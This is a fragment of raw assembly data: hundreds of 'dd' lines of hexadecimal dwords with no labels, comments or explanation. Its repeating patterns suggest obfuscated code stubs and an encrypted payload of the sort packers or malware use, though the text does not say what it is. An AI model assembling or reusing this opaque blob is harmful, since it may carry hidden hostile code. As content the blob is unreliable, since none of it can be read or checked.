		dd 0CE860h, 1DD40000h, 0B9BCEDF9h, 3605FA95h, 12E84448h
		dd 0BC000000h, 5ED17D79h, 5558F73Dh, 32C604EBh,	35C98645h
		dd 0E95959B5h, 12h, 4DCE8AB3h, 6A68400Eh, 5C0F3021h, 29BDBEE4h
		dd 6861CD9Dh, 0AC48BC90h, 42243481h, 6A78D21Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 4D86C353h, 5A5683D6h, 8B668785h, 0EC180D8h, 0B29B5FFh
		dd 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 49BA29C3h, 75D7858Dh, 92B90650h, 0FF7698A5h
		dd 55006AD0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 69491559h, 2FE18D23h, 860F064Dh,	3, 89CFB70Fh
		dd 4D269D85h, 0A3AFBA06h, 0BD833EAEh, 64D10CDh,	2850F00h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 6F6C353h, 9622F376h, 85C6D1E2h
		dd 64D26E5h, 56006A47h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 37AFE646h, 14E910A4h, 95000000h
		dd 316951D0h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 0E92B530Fh
		dd 14h,	7325F5DFh, 0FB35EFC5h, 43DC0ABEh, 0D858443Ch, 906470BFh
		dd 4E8h, 0FB5E200h, 76B1508Ah, 424448Bh, 28E0Fh, 0C9B30000h
		dd 0F60008Bh, 128Fh, 0DE900h, 10060000h, 68A1506Eh, 7BCE50B5h
		dd 6601AC6Bh, 8961D78Bh, 8B042444h, 0BA6658D9h,	0B5FFFAC8h
		dd 64D0B29h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0CFC35141h, 7F2C02B2h, 331958Bh, 858D064Dh, 65075D7h
		dd 0FFCF8B66h, 0F58589D0h, 89064D2Ah, 4D10CD85h, 8DBD8306h
		dd 64D21h, 0BD850Fh, 0F3B10000h, 26E585C6h, 6A56064Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0A54EC350h, 0F1E63768h, 81EDB297h, 87022404h
		dd 6A3C2Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0E85901C3h, 0Bh, 0A09A9B94h, 0CF61081Ah
		dd 898F054Dh, 4D2DC59Dh, 0B5FF5B06h, 64D0B29h, 148D8D8Bh
		dd 858D064Dh, 65075D7h,	0D0FF6AB3h, 24758D31h, 8960064Dh
		dd 4D25799Dh, 29BD8906h, 61064D11h, 218D8589h, 6A064Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0FDEE29C3h, 0B5B92A32h, 0C660D0E6h, 4D26E585h, 6A6C06h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 30C3F1C3h, 0A4F8D291h, 105D8529h, 2668064Dh,	8B80EBDAh
		dd 240481D7h, 5A19965Dh, 2800Fh, 0DA8A0000h, 1431B5FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0E8B8B2C3h, 0Ch, 14D9EECDh, 8543E2Ah, 0E7FE09EBh
		dd 6FDAE181h, 0E8590C0Dh, 0Dh, 0F7B75156h, 3A0662F2h, 0E15F99C2h
		dd 0F98B66C6h, 0F1958959h, 8D064D10h, 4D390685h, 0FBBF0F06h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0A501E5C3h, 0B60AAC9h, 4D11F9BDh,	0FB858906h
		dd 6A0650A8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0ECADC351h, 6C88C62Ah,	46AB6A5h
		dd 68CCF380h, 0AC102AA9h, 0B9665250h, 310FE308h, 11E9h
		dd 0C7AFF600h, 0F97410CCh, 96BB9436h, 6501A5C9h, 585AAD20h
		dd 57240481h, 8153EFE5h, 0AC45A7F1h, 0C016BF2Eh, 7A682506h
		dd 66FCF6A7h, 481D38Bh,	0A588624h, 57006A03h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 3726E5C4h
		dd 0D680C665h, 1006A55h, 4D067D9Dh, 9D95FF06h, 6A064D03h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 9858C351h, 0B334AA7h, 9FDA80A3h, 0A9078589h
		dd 0FFBF0650h, 6A7CC1C1h, 0CE38000h, 4777F668h,	0EE9F1h
		dd 512A0000h, 0E0BA5623h, 0A4109C62h, 0D28DA20Bh, 0A240481h
		dd 0F0EB988h, 68Eh, 35B50100h, 90064D28h, 0FF6B966h, 11E850h
		dd 0EA200000h, 51A88CF8h, 0B0EB8191h
		dd 11CCF69Bh, 669A49C4h, 5B0F4DBFh, 6ADE8A90h, 5EDABA0Bh
		dd 858D7A1Fh, 650A8D4h,	64BF6657h, 8B905A82h, 13E950D7h
		dd 0B0000000h, 0A2848D94h, 3138EC0h, 14F8A24Ch,	7BCAE13Bh
		dd 6A90AC17h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 865FC351h, 68F0F83h, 89000000h
		dd 4D28C99Dh, 9D95FF06h, 8B064D26h, 4D15FD8Dh, 0DEB58D06h
		dd 6A0650A8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0FA3AC355h, 51319454h,	66250ED8h
		dd 5050CB8Bh, 9E8h, 3BD8D400h, 550573E5h, 5A523396h, 34895959h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0C4690AADh, 0B6E83361h, 0FE9h, 85C14B00h
		dd 47EC78FCh, 0B3A19DF5h, 55F49B7Eh, 840Fh, 56500000h
		dd 61605250h, 76BF310Fh, 5A245B40h, 4895A58h, 459D0124h
		dd 0FF064D32h, 4D10CD95h, 13850F06h, 0F000000h,	0D84h
		dd 8E900h, 0B3B00000h, 986F29DFh, 0D0FFCE34h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 79C35545h, 52DBE427h
		dd 9634E09Ch, 8BCF8B66h, 50A907B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FF85C75Eh
		dd 650A8h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B26C357h, 207E80D7h, 0F8840F00h
		dd 0F5000002h, 51006A60h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F66F496h, 468DDBBFh
		dd 50006A20h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 4479D5EFh, 820F5D47h, 6,	10C99501h, 8589064Dh
		dd 650A903h, 0F0F3B966h, 0DE9h,	0F4CF8100h, 407E82B3h
		dd 22F59D8Bh, 3880064Dh, 0F0850F00h, 6AFFFFFFh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 2A53C351h, 0D78C9503h, 9BCA803Dh, 147DB589h,	53E9064Dh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0FC93C353h, 9D896FCEh,	64D03E5h
		dd 53006A48h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 89E25E7Ch, 0CDD92991h, 0CDBD2990h, 80064D17h
		dd 3880E4E1h, 73840F5Ch, 0F000000h, 686h, 35B58900h, 80064D14h
		dd 840F2F38h, 5Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0C35545h, 0DC9958Bh, 853B064Dh, 650A903h
		dd 0FF86830Fh, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 6F1B2DC3h, 6E4A787Ah, 8D8B2FAAh
		dd 64D06DDh, 0C619D29h,	8140064Dh, 0DF60CBEBh, 0BBD8328h
		dd 650A9h, 94840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8B0F00C3h, 3,	90A4E780h
		dd 0BE95250h, 65000000h, 7C5A27BFh, 99E57994h, 310F0838h
		dd 9050585Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	90C35747h, 0B85031Eh, 6A0650A9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 66E7C355h
		dd 50588C88h, 0C6E36Bh,	2D9D8B00h, 58064D0Bh, 551B589h
		dd 0BF50064Dh, 55AA1202h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DBE6C353h
		dd 88C580E4h, 0A8F7B5FFh, 6A0650h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 95FFCAC3h, 650A8FBh
		dd 0B5D28166h, 0FC00B5Ch, 3285h, 958B6000h, 64D3069h, 2C398D8Bh
		dd 161064Dh, 4D2D3DBDh,	0BD236106h, 64D0B9Dh, 0A8FF85C7h
		dd 10650h, 958B0000h, 64D2BA5h,	4AE9h, 6128B100h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C2C35747h, 0B78FFA97h
		dd 0C681C3B6h, 11Ch, 0E9CE8B66h, 0FFFFFD15h, 0A18D0B60h
		dd 51064D1Fh, 7E8h, 1FAEC000h, 0F660B734h, 0E8615B5Fh
		dd 4, 8000h, 4F1BBF60h,	0BB664461h, 5061B046h, 8BD78B66h
		dd 0E8042444h, 13h, 7D86B150h, 3149CD88h, 1B335ACCh, 5AE75925h
		dd 8B41FCBCh, 8B5BF8h, 4244489h, 0C850Fh, 7E90000h, 4B000000h
		dd 0F5ED6889h, 8B58FFABh, 4D302995h, 6A006A06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 205EC353h, 790EE4ACh, 0E9103C8Fh, 7,	8C5E3ED4h, 0FFF1BD56h
		dd 50A907B5h, 0B9BD0906h, 0F9064D1Eh, 218D95FFh, 6E8064Dh
		dd 0D5000000h, 1C3671BBh, 2BF78175h, 5F4A905Ah,	0A8FF858Bh
		dd 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 63A16DC3h, 0B96652FFh, 505A2EB1h,	56E41EBAh
		dd 2404892Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	7DC35040h, 5C69F25Ch, 858D163Eh, 650A90Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h, 311FD1CCh
		dd 8B5AABCAh, 4D29E5BDh, 0E4F18106h, 905954DCh,	0AC1C11B9h
		dd 2AB35028h, 6D950990h, 0F064D23h, 685h, 0BDBD8B00h, 8D064D14h
		dd 50A8CC85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 3E344886h, 12157BEh, 4D273D85h, 8E28106h
		dd 503A0FDDh, 0FAC51DBAh, 2404896Fh, 31858956h,	59064D31h
		dd 23D99D89h, 95FF064Dh, 64D2CA5h, 27619589h, 0C08B064Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A2C35646h
		dd 0AE27D34Ch, 0B2E11394h, 66D6BF0Fh, 830D31BAh, 4D1BD9BDh
		dd 9750006h, 11BD83h, 7400064Dh, 8B535013h, 4D0B8C0h, 9D8D0000h
		dd 64FB550h, 585BD3FFh,	11BD83h, 7400064Dh, 0B8535011h
		dd 4D0h, 0B44F9D8Dh, 0D3FF064Fh, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 233153C3h
		dd 4D2F219Dh, 8BF9F506h, 958D29C0h, 58064D2Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 94C35646h, 3CD3131Eh
		dd 0F86B84F4h, 6A0008C2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 46E9C352h, 0F72CDADEh
		dd 860F6051h, 3, 8BF78B66h, 4D06818Dh, 0C08B6106h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 2EC35242h, 0A109449Bh
		dd 98B052E7h, 28858D8Fh, 6A0650A9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8956C357h
		dd 4D0D9585h, 39EB06h, 0CC00C000h, 0E400C002h, 0C002h
		dd 7C000000h, 436CB308h, 6B5DAA04h, 7609BB0Ch, 0ED64B008h
		dd 2C65BA4Fh, 645D9061h, 5E09922Dh, 6D799115h, 76618A0Fh
		dd 26DBF04h, 4484DF01h,	0B0F937Ah, 1009B4A1h, 2009DD89h
		dd 0D351FE61h, 2C4D5739h, 204D5F65h, 209C965h, 0C2599E61h
		dd 0D4B4D554h, 5BD063E2h, 5509D82Ch, 1B45D68h
		dd 80F9361h, 5759C715h,	0BBB11EEAh, 8809DE65h, 0CD2CABE4h
		dd 55945367h, 0DF0F91D6h, 935185B2h, 4509CFDCh,	137DDE67h
		dd 0BBB18D31h, 8809DE65h, 0CD2CABE4h, 44945367h, 0DF0F91D5h
		dd 7A5185B2h, 0BE18E61h, 2409DE61h, 8B511D39h, 800DFA25h
		dd 940DFA25h, 9DE61h, 0AB6B1D31h, 5D0AD3ECh, 680D167h
		dd 0ED09DE61h, 209DE68h, 0F02AA4D1h, 84B9F0B9h,	2AC95594h
		dd 23E18C61h, 3009DE61h, 81531D3Bh, 850DFA35h, 170DFA25h
		dd 4309DE61h, 31641D33h, 6E005BE8h, 0A5CFD82Ch,	1644F884h
		dd 2DC85E37h, 0E6448409h, 0C582BEAEh, 8A6F8C31h, 6938D1B0h
		dd 4009DE75h, 22B644C9h, 562CD816h, 0D8FD2663h,	0C57F2A47h
		dd 1043FAEBh, 8068863Bh, 7501FA55h, 0CD208D2Bh,	2644DBB0h
		dd 79CF6007h, 3206B9Eh,	8100D82Ch, 444FE4Ch, 74DE5BECh
		dd 87E0D831h, 7709DE61h, 4C6C1BC0h, 0C0F630B1h,	0E05EDE0Bh
		dd 409DE62h, 5DCA8141h,	52DA2E8h, 842D9AE0h, 4009DE7Ah
		dd 0F4CA8926h, 0BCB808DAh, 839CD806h, 6E0DB490h, 1E18B61h
		dd 2109DE61h, 9541D3Ch,	0C10DFA0Dh, 370DFA25h, 5509DE61h
		dd 0D5E31D34h, 0E14B08h, 209DE61h, 5109DE71h, 80063601h
		dd 0B03DDE61h, 0DBF15114h, 4DC02072h, 0A5B53F54h, 5E6886A8h
		dd 16E1BE31h, 809DE61h,	3EE44DABh, 19FC3565h, 76BFB476h
		dd 0C7A13CD6h, 7723EC8h, 409DEE1h, 25B68061h, 602E5928h
		dd 842D9AEAh, 408210EAh, 2009D288h, 0DC3E561h, 0FB28DBEh
		dd 5EC17D54h, 264D5726h, 0D2336765h, 8F51F767h,	4009D8E1h
		dd 0CDBC5561h, 780F9376h, 60191AC3h, 308824EAh,	12CF9045h
		dd 9EDC5E09h, 88E0DE0Bh, 0A809DE61h, 11C1DE67h,	0EF6E7E5Ch
		dd 5A09B4B1h, 409DD89h,	0C153FE61h, 255D573Bh, 0A44D5F65h
		dd 4009CA65h, 0E35B9C61h, 998C5757h, 620F8ED6h,	7E18D61h
		dd 2209DE61h, 88521D3Ah, 10DFA3Dh, 560DFA25h, 6309DE61h
		dd 7E1F1D32h, 0D9C579Fh, 8F0F934Ch, 0C5DB99h, 8480DE61h
		dd 865969ECh, 0C9111EE2h, 70BE4FE4h, 0A9C9ED67h, 809DC8Dh
		dd 4637492h, 20A3630h, 5829DE61h, 0CC8087A2h, 488DA45h
		dd 201EDA45h, 4148DE61h, 880CEAA2h, 55B45581h, 820F936Dh
		dd 94828DA8h, 8644D4C4h, 66EC5BA7h, 4A4AD82Ch, 13E18861h
		dd 2809DE61h, 8D571D3Fh, 830DFA15h, 1B0DFA25h, 0C609DE61h
		dd 7BFF1D37h, 7661320Ah, 0D4B3B880h, 3272B63Dh,	0B6697064h
		dd 3688BF97h, 6358FB45h, 80033753h, 7367DE61h, 4FF51C0Eh
		dd 9062D174h, 3206B9Eh,	0B138D82Ch, 444DD14h, 74DE5BECh
		dd 1580D831h, 4644EE0Ch, 2A344B50h, 0C0F6D82Ch,	81DB616Eh
		dd 4905A7E4h, 0ABBC5767h, 8C0F934Dh, 0CD21E7E4h, 5945767h
		dd 0A90F936Bh, 5D1897E4h, 5809B467h, 409DD89h, 0C151FE61h
		dd 254D5739h, 0A44D5F65h, 4009C765h, 0E3599E61h, 9F20E1C4h
		dd 8DCF9C0Dh, 244F884h,	9F9C5532h, 690F936Ah, 705A5CF4h
		dd 400F3737h, 40BDDE61h, 0D9F06FACh, 2C3D5F3Fh,	8EB142Ch
		dd 299C4BEAh, 8C02D82Ch, 8644F31Ch, 4B206B9Eh, 0A584D82Ch
		dd 1659ABB6h, 23BC53EAh, 6259D82Ch, 0FD532DEAh,	5309B4B1h
		dd 8009DD89h, 8353FE61h, 45D573Bh, 344D5F65h, 809C265h
		dd 0C75B9C61h, 1CDCBCBAh, 7D001783h, 5A88B8CCh,	0FD008B55h
		dd 2644F384h, 1009D288h, 0C550C561h, 0AFB87171h, 0C79BE37Ah
		dd 108C5789h, 460F9364h, 0D2F3BE4h, 20638D67h, 100A3633h
		dd 5229DE61h, 508084A2h, 4688DA45h, 11FDA45h, 0D24BDE61h
		dd 2E04AFA2h, 0A06E30E0h, 0F761A221h, 6883D63Dh, 8F6F8C31h
		dd 0EA38D1A0h, 109DE73h, 0FA56D226h, 703E55A9h,	0F0AE90A4h
		dd 0A476F5B2h, 5253D107h, 3088BF39h, 12918A45h,	5609B433h
		dd 8009DD89h, 8356FE61h, 475573Eh, 344D5F65h, 809C865h
		dd 0C75E9961h, 89075C5Fh, 4C0ECBDCh, 0A9BC2167h, 2A0F936Ah
		dd 23E18961h, 3009DE61h, 81561D3Eh, 850DFA1Dh, 180DFA25h
		dd 4609DE61h, 9FEB1D36h, 0B4F00C79h, 9CE35EC2h,	1009D388h
		dd 3E1D9B61h, 22E35058h, 13F7756Fh, 848403E7h, 8659ABB6h
		dd 0A85BDE0Bh, 2009DE62h, 4ACA8441h, 0C2D8AE8h,	2D9AE0h
		dd 209DE77h, 73CA8C23h,	3D821467h, 4644D0A4h, 20630E9Eh
		dd 100A3637h, 5629DE61h, 708080A2h, 4688DA45h, 11DDA45h
		dd 0D64FDE61h, 0B18288A2h, 2009CD89h, 0EDB39B61h, 66224A87h
		dd 0EC6F19D8h, 0A2D1FDB2h, 0BDC1FBC9h, 8009D689h, 0F9EC8761h
		dd 92AE4E2Dh, 1CF164CBh, 5756DF48h, 29905BE8h, 16E1D82Ch
		dd 9D09DE61h, 0F1B07E2Eh, 36257545h, 444533E8h,	59E6779Dh
		dd 75BEDE2h, 409DCEDh, 5C568F61h, 27EC5BA7h, 0EA4ED82Ch
		dd 43E18C61h, 9DE61h, 99531D3Bh, 890DFA35h, 1E0DFA25h
		dd 4009DE61h, 0D7501D33h, 0E9614B56h, 8D9CF52Bh, 480F934Ah
		dd 85C3554Dh, 0DC906007h, 792DDAE0h, 682BCA33h,	2E18E61h
		dd 0A009DE61h, 0C9511D39h, 0A10DFA25h, 80DFA25h, 4809DE61h
		dd 0FD2E1D31h, 0F7F4D1D6h, 0A206B9Eh, 8063D82Ch, 400A3630h
		dd 7929DE61h, 5C8087A2h, 4C88DA45h, 412DA45h, 5348DE61h
		dd 0DAB0D4A2h, 8E08D2B0h, 5DBC572Dh, 0A00F9371h, 958428AFh
		dd 0E59ABB6h, 1BB45BE8h, 0D2F6D82Ch, 109CD88h, 5363BC61h
		dd 963E5F44h, 0E9814734h, 0D23C9A96h, 0FD69D29Bh, 17805BE8h
		dd 263D82Ch, 10A3632h, 0DB29DE61h, 1C8085A2h, 6488DA45h
		dd 101CDA45h, 5B4ADE61h, 0EDFC7EA2h, 209DE68h, 807B7326h
		dd 511BF827h, 0A58C1804h, 670F9347h, 3A7D6407h,	809DA89h
		dd 0D819A461h, 21936E0h, 7D73DE61h, 59B873D5h, 99D933A4h
		dd 0B96B69B7h, 405695DEh, 27F66407h, 2D9AEAh, 210566Eh
		dd 0CE1DE61h, 0FF09DE61h, 42A0E7CAh, 98352950h,	6CE6C8E6h
		dd 39068C31h, 8F57863Bh, 525B8E61h, 1183733h, 6636DE61h
		dd 6F2162A7h, 8075F8A9h, 3B55BACDh, 7D667F7h, 4013750h
		dd 0E956DE61h, 110FA627h, 0D8538E0Fh, 52E1EF6Eh, 9809DE61h
		dd 0FBF8CABFh, 0A200B121h, 26226641h, 34BCC0BFh, 18FD159h
		dd 0DF09DE61h, 480863Bh, 9F6FDA45h, 9951F09Bh, 4516B7F4h
		dd 2DBC2167h, 680F936Ah, 2E18961h, 0A009DE61h, 0C9561D3Eh
		dd 0A10DFA1Dh, 90DFA25h, 4F09DE61h, 0AD471D36h,	37F9AAF8h
		dd 809617E0h, 584AB71h,	4659ABB6h, 50A56407h, 916F0E9Eh
		dd 0B1A60BABh, 59120C8Eh, 2DB05BE8h, 163D82Ch, 800A3637h
		dd 1E29DE61h, 548080A2h, 5488DA45h, 810DA45h, 524FDE61h
		dd 890462A2h, 0E9BA1DDBh, 8009DE67h, 44FFBD03h,	0FE88B882h
		dd 24C11B98h, 3D9C573Eh, 0C20F937Dh, 4F2F3BE4h,	1639967h
		dd 800A3637h, 1E29DE61h, 548080A2h, 5488DA45h, 810DA45h
		dd 524FDE61h, 4B406BA2h, 80873C34h, 804E0CBBh, 0EFD6B634h
		dd 0D7820159h, 922DEAE0h, 17C2BF2h, 493997F4h, 2BBC2167h
		dd 670F936Ah, 0D6B93D8h, 107C09E4h, 7709B467h, 1009DD89h
		dd 0CB56FE61h, 2075573Eh, 264D5F65h, 109C465h, 435E9961h
		dd 6BDA0EC6h, 0C96F6A1Eh, 1009DE75h, 583B4D40h,	7F8370A4h
		dd 0A970BCB6h, 560FD702h, 99036358h, 40630E9Eh,	200A3633h
		dd 4A29DE61h, 5C8084A2h, 4088DA45h, 215DA45h, 534BDE61h
		dd 74D288A2h, 2C7B9874h, 0CE888556h, 2F18E0ECh,	133C6BE8h
		dd 8180D82Ch, 444EE40h,	0E95BDE0Bh, 8009DE62h, 1ACA8441h
		dd 242D8AE8h, 142D9AE0h
		dd 809DE7Ah, 0ADCA8C23h, 0A6FE7755h, 0B37568B1h, 79D92143h
		dd 472043E8h, 0A580D82Ch, 1644EC84h, 0E05BDE0Bh, 409DE62h
		dd 58CA8441h, 52D8AE8h,	842D9AE0h, 4009DE7Ah, 6CA8C23h
		dd 0C7946510h, 72E4B25h, 409DDEBh, 0D582B861h, 6BD15207h
		dd 83E18B61h, 6009DE61h, 0A9541D3Ch, 910DFA0Dh,	120DFA25h
		dd 4109DE61h, 23D11D34h, 4C280F77h, 4D8CEF56h, 640F936Bh
		dd 7609B465h, 1009DD89h, 0CB57FE61h, 207D573Fh,	264D5F65h
		dd 109C365h, 435F9861h,	6420ACE4h, 36A99882h, 19E07663h
		dd 5509DE61h, 3863FBF3h, 24DEF1DCh, 85061E6Bh, 8009DDB8h
		dd 66EC5BA7h, 4A46D82Ch, 13E18C61h, 2809DE61h, 8D531D3Bh
		dd 830DFA35h, 1B0DFA25h, 0C209DE61h, 71251D33h,	0A1AC9798h
		dd 78D854D6h, 50BA6991h, 8825EAh, 0CEBD0A45h, 5709B407h
		dd 8009DD89h, 8357FE61h, 47D573Fh, 344D5F65h, 809C965h
		dd 0C75F9861h, 877C987Fh, 1EB8E3D3h, 8B206B9Eh,	4063D82Ch
		dd 200A3632h, 4B29DE61h, 548085A2h, 4088DA45h, 215DA45h
		dd 524ADE61h, 0A7D945A2h, 2D5DA724h, 0A5844919h, 1659ABB6h
		dd 59E130E0h, 0D4F6CCD5h, 0EA5CDE0Bh, 109DE62h,	0DDCA8341h
		dd 442DB2E8h, 242D9AE0h, 1009DE7Ah, 0EACA8B24h,	0D15D49Fh
		dd 81B138A8h, 8C2AFAA1h, 8644DB34h, 4EB85BE8h, 0A582D82Ch
		dd 1644EC84h, 0E059DE0Bh, 409DE62h, 5ACA8641h, 52D9AE8h
		dd 842D9AE0h, 4009DE7Dh, 83CA8E21h, 0B9033366h,	0DCD88D9Ch
		dd 29346BEAh, 9F82D82Ch, 744EE40h, 6859DE0Bh, 4009DE62h
		dd 78CA8641h, 142D9AE8h, 0C2D9AE0h, 409DE7Bh, 20CA8E21h
		dd 0DB3766FCh, 0C3F5CCEDh, 0A85ADE0Bh, 2009DE62h, 4BCA8541h
		dd 0C2D82E8h, 2D9AE0h, 209DE7Ch, 11CA8D22h, 5CFDCA92h
		dd 0F3F637E4h, 0BFFE5F1Dh, 9B6A3720h, 80E367Ah,	0CDCEDE61h
		dd 19D68B85h, 11A3750h,	0E0EDE61h, 95269589h, 2E257D58h
		dd 83627EF0h, 0E4E39DDh, 1F828714h, 89F15507h, 0BB6F887Ah
		dd 0B3509E43h, 1209B4B9h, 2009DD89h, 0D353FE61h, 2C5D573Bh
		dd 204D5F65h, 209CA65h,	0C25B9C61h, 9FE5585h, 0D0FE7FCh
		dd 7109B467h, 1009DD89h, 0CB50FE61h, 20455738h,	264D5F65h
		dd 109C465h, 43589F61h,	84DFCAC4h, 2F643FF5h, 1009CEE5h
		dd 8023761h, 3A9EDE61h,	22B6565Eh, 5796B726h, 658C183Fh
		dd 70F9347h, 0C85BDE0Bh, 1009DE62h, 52CA8441h, 2D8AE8h
		dd 62D9AE0h, 109DE7Ch, 74CA8C23h, 9F85C3D8h, 1874A8A9h
		dd 0CF88B8CDh, 1CE1FA22h, 2A09DE61h, 1096DBBCh,	119BC851h
		dd 94CB49FBh, 3CD67E64h, 0AB07A84Ah, 5D2E4FF4h,	23618167h
		dd 55F692F1h, 822C6007h, 253D5F3Bh, 0C89B93E3h,	0A858DE0Bh
		dd 2009DE62h, 49CA8741h, 0C2D92E8h, 2D9AE0h, 209DE7Bh
		dd 61CA8F20h, 2B6C460h,	6BF58824h, 6D1D0FECh, 39BC2167h
		dd 620F936Ah, 7E18D61h,	2209DE61h, 88521D3Ah, 10DFA3Dh
		dd 5C0DFA25h, 6309DE61h, 3AC91D32h, 0C7E0AB33h,	0B7E9DA4h
		dd 209D8EAh, 18BD161h, 0D09DE61h, 107C09E4h, 0F1945767h
		dd 1F0F9346h, 809D8EAh,	0B99C5761h, 0FD0F937Bh,	28B3B8B1h
		dd 98C57F6h, 2A0F9372h,	23E18E61h, 3009DE61h, 81511D39h
		dd 850DFA25h, 1B0DFA25h, 4109DE61h, 0F3561D31h,	73F1C906h
		dd 255C4BE8h, 0D988D82Ch, 2235407Fh, 5109B421h,	209DD89h
		dd 0C254FE61h, 0A465573Ch, 644D5F65h, 2009C365h, 0D35C9B61h
		dd 0DCB1FD92h, 0B30FB74Dh, 9702D9F3h, 744DB84h,	8009D688h
		dd 5AC0B61h, 6CC0219Eh,	298C5761h, 830F936Fh, 5709B461h
		dd 209DD89h, 0C252FE61h, 0A455573Ah, 644D5F65h,	2009C565h
		dd 0D35A9D61h, 0BEA7A75Eh, 0E455F593h, 0DC06B50h, 182D82Ch
		dd 6859DE0Bh, 4009DE62h, 78CA8641h, 142D9AE8h, 0C2D9AE0h
		dd 409DE7Ch, 73CA8E21h,	711B01B7h, 3D8078D0h, 7DE4643Bh
		dd 0AD82BC40h, 1644D11Ch, 2684B68h, 8180D82Ch, 444EF48h
		dd 0E959DE0Bh, 8009DE62h, 18CA8641h, 242D9AE8h,	142D9AE0h
		dd 809DE76h, 0FDCA8E21h, 89E2D476h, 4C2303D4h, 81263767h
		dd 52E0DE61h, 0E809DE61h, 0D3929575h, 0D9EDCBC3h, 57A150A6h
		dd 571D4CB3h, 0AE8C536Eh, 8F0F8ED6h, 0A95911DEh, 2009DE6Fh
		dd 0B4F07C1Eh, 4F82E603h, 5EDDE0CBh, 68094CAh, 5309B445h
		dd 8009DD89h, 8353FE61h, 45D573Bh, 344D5F65h, 809C665h
		dd 0C75B9C61h, 6D107A8Fh, 9C9C21A9h, 0B0F934Bh,	0D0523ECh
		dd 95945367h, 230F8ED6h, 452A6BECh, 18808E67h, 5209B445h
		dd 109DD89h, 4351FE61h,	644D5739h, 44D5F65h, 1009C665h
		dd 0CB599E61h, 0B9B3DB17h, 9E18EACh, 0DC09DE61h, 2769D04Ch
		dd 0C7A6E823h, 0A606E506h, 1009DE63h, 81538137h, 463FA65h
		dd 20A3630h, 5829DE61h,	0CC8087A2h, 488DA45h, 2015DA45h
		dd 4148DE61h, 0E82B93A2h, 0B6EF2D1Bh, 5B7D3B2h,	0FE3E5527h
		dd 0CD1913F4h, 1709B467h, 2009DD89h, 0D356FE61h, 2C75573Eh
		dd 204D5F65h, 209CA65h,	0C25E9961h, 8004373Dh, 0BED0DE61h
		dd 2DB9F356h, 6EFAAC56h, 817982BAh, 49076FE4h, 5509B467h
		dd 109DD89h, 4356FE61h,	6475573Eh, 44D5F65h, 1009CA65h
		dd 0CB5E9961h, 0E18C183Ch, 510F9347h, 0E95FDE0Bh, 8009DE62h
